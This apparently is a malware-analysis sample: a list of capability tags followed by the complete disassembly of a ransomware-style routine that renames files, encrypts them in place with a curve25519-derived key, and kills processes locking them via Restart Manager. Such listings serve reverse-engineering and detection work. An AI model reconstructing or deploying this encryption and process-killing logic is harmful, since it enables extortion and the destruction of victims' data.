Function at 0x409720
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cc0
call fcn.004131c0
mov byte [ebp - 0xc8], 9
xor eax, eax
mov dword [ebp - 0xc7], eax
mov dword [ebp - 0xc3], eax
mov dword [ebp - 0xbf], eax
mov dword [ebp - 0xbb], eax
mov dword [ebp - 0xb7], eax
mov dword [ebp - 0xb3], eax
mov dword [ebp - 0xaf], eax
mov word [ebp - 0xab], ax
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x6c], 1
mov dword [ebp - 0x130], 0x756f6863
mov dword [ebp - 0x12c], 0x6420676e
mov dword [ebp - 0x128], 0x20676e6f
mov dword [ebp - 0x124], 0x6b6f6f6c
mov dword [ebp - 0x120], 0x696c2073
mov dword [ebp - 0x11c], 0x6820656b
mov dword [ebp - 0x118], 0x6420746f
mov dword [ebp - 0x114], 0x2121676f
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 0xe]
push eax
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40a29e
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x403a74
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 9
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileExW]
test eax, eax
je 0x40a20f
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00412e30
add esp, 4
cmp dword [ebp - 4], 0xffffffff
je 0x409d52
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
push 0x100000
call fcn.00412e00
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409d43
lea ecx, [ebp - 0xf0]
push ecx
push 0x20
mov edx, dword [0x414260]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ebp + ecx - 0xf0]
and edx, 0xf8
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xf0], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0xf0]
and ecx, 0x7f
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0xf0], cl
mov ecx, 1
imul edx, ecx, 0x1f
movzx eax, byte [ebp + edx - 0xf0]
or eax, 0x40
mov ecx, 1
imul edx, ecx, 0x1f
mov byte [ebp + edx - 0xf0], al
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x158]
push edx
call fcn.00404e00
add esp, 0xc
push 0x4141b8
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.00404e00
add esp, 0xc
lea edx, [ebp - 0x198]
push edx
push 0x20
lea eax, [ebp - 0x110]
push eax
call fcn.00410a50
add esp, 0xc
push 0x100
push 0x100
lea ecx, [ebp - 0x198]
push ecx
lea edx, [ebp - 0x12a8]
push edx
call fcn.0040fdf0
add esp, 0x10
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
call fcn.0040fe80
add esp, 8
push 0x40
lea edx, [ebp - 0x198]
push edx
call fcn.004104f0
add esp, 8
mov dword [ebp - 0x138], eax
push 0x40
push 0
mov eax, 4
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x224]
push edx
call fcn.00412d90
add esp, 0xc
push 0x40
push 0
lea eax, [ebp - 0x198]
push eax
call fcn.00412d90
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x110]
push ecx
call fcn.00412d90
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
cmp dword [ebp - 0x1c], 0
jl 0x409b13
jg 0x409a1e
cmp dword [ebp - 0x20], 0x1400000
jbe 0x409b13
push 0
push 0xa00000
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00413110
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
jmp 0x409a5a
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov edx, dword [ebp - 0x50]
adc edx, 0
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x94]
jg 0x409b0e
jl 0x409a7a
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x98]
jae 0x409b0e
push 0
lea edx, [ebp - 0x24]
push edx
push 0x100000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x12a8]
push edx
push 0
call fcn.004101e0
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 0x14]
add eax, 0xa00000
mov ecx, dword [ebp - 0x10]
adc ecx, 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
jmp 0x409a48
jmp 0x409cea
cmp dword [ebp - 0x1c], 0
jl 0x409c17
jg 0x409b2c
cmp dword [ebp - 0x20], 0x500000
jbe 0x409c17
push 0
push 3
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00413110
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x5c], xmm0
jmp 0x409b65
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov edx, dword [ebp - 0x58]
adc edx, 0
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
cmp dword [ebp - 0x58], 0
jg 0x409c12
jl 0x409b7b
cmp dword [ebp - 0x5c], 3
jae 0x409c12
push 0
lea eax, [ebp - 0x24]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12a8]
push eax
push 0
call fcn.004101e0
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x10]
adc eax, dword [ebp - 0x9c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
jmp 0x409b53
jmp 0x409cea
cmp dword [ebp - 0x1c], 0
jl 0x409cea
jg 0x409c2d
cmp dword [ebp - 0x20], 0
jbe 0x409cea
cmp dword [ebp - 0x1c], 0
jl 0x409c5a
jg 0x409c3b
cmp dword [ebp - 0x20], 0x40
jbe 0x409c5a
push 0
push 0xa
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00413110
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
jmp 0x409c6c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xa4], eax
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x12a8]
push edx
push 0
call fcn.004101e0
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0x10cc
push 0
lea ecx, [ebp - 0x12a8]
push ecx
call fcn.00412d90
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea edx, [ebp - 0x30]
push edx
push 0x48
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [ebp - 8]
push edx
call fcn.00412e30
add esp, 4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40a20a
cmp dword [ebp - 0x6c], 0
je 0x40a17b
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea ecx, [ebp - 0x1dc]
push ecx
call fcn.00412d90
add esp, 0xc
lea edx, [ebp - 0x1dc]
push edx
push 0
lea eax, [ebp - 0x40]
push eax
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x409d95
mov dword [ebp - 0x7c], 1
jmp 0x409d9c
mov dword [ebp - 0x7c], 0
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a0ee
push 0
push 0
push 0
push 0
lea edx, [ebp + 8]
push edx
push 1
mov eax, dword [ebp - 0x40]
push eax
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x409dd0
mov dword [ebp - 0x80], 1
jmp 0x409dd7
mov dword [ebp - 0x80], 0
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a04c
mov dword [ebp - 0x88], 0xa
lea edx, [ebp - 0xd0]
push edx
lea eax, [ebp - 0x2cc0]
push eax
lea ecx, [ebp - 0x88]
push ecx
lea edx, [ebp - 0xcc]
push edx
mov eax, dword [ebp - 0x40]
push eax
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x409e26
mov dword [ebp - 0x84], 1
jmp 0x409e30
mov dword [ebp - 0x84], 0
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x409fbf
mov dword [ebp - 0xc], 0
jmp 0x409e55
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x88]
jae 0x409fba
imul ecx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + ecx - 0x2a34], 4
je 0x409fb5
imul edx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + edx - 0x2a34], 0x3e8
je 0x409fb5
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
imul ecx, dword [ebp - 0xc], 0x29c
cmp eax, dword [ebp + ecx - 0x2cc0]
je 0x409fb5
imul edx, dword [ebp - 0xc], 0x29c
mov eax, dword [ebp + edx - 0x2cc0]
push eax
push 0
push 0x100001
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x409efa
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0x1388
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x409fb5
cmp dword [0x41425c], 0
je 0x409fb5
push 0
push 0
push 0
push 0
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
imul eax, dword [ebp - 0xc], 0x29c
lea ecx, [ebp + eax - 0x2cb4]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
push edx
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x34], eax
push 0
push 0
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2cb4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov eax, dword [ebp - 0x34]
push eax
push 0x401a5c
call fcn.00404cb0
add esp, 0xc
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.00412e30
add esp, 4
jmp 0x409e4c
jmp 0x40a047
cmp dword [0x41425c], 0
je 0x40a047
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
push 0x403a84
call fcn.00404cb0
add esp, 0xc
mov edx, dword [ebp - 0x38]
push edx
call fcn.00412e30
add esp, 4
jmp 0x40a0d4
cmp dword [0x41425c], 0
je 0x40a0d4
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
push edx
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x3c], eax
push 0
push 0
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
push 0x403a94
call fcn.00404cb0
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00412e30
add esp, 4
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x6c], 0
jmp 0x40982c
cmp dword [0x41425c], 0
je 0x40a176
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x44], eax
push 0
push 0
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
push 0x403ab0
call fcn.00404cb0
add esp, 0xc
mov edx, dword [ebp - 0x44]
push edx
call fcn.00412e30
add esp, 4
jmp 0x40a20a
cmp dword [0x41425c], 0
je 0x40a20a
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x74]
push edx
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x48], eax
push 0
push 0
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
push 0x403ac8
call fcn.00404cb0
add esp, 0xc
mov edx, dword [ebp - 0x48]
push edx
call fcn.00412e30
add esp, 4
jmp 0x40a29e
cmp dword [0x41425c], 0
je 0x40a29e
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x78]
push edx
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x4c], eax
push 0
push 0
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
push 0x403aec
call fcn.00404cb0
add esp, 0xc
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00412e30
add esp, 4
mov esp, ebp
pop ebp
ret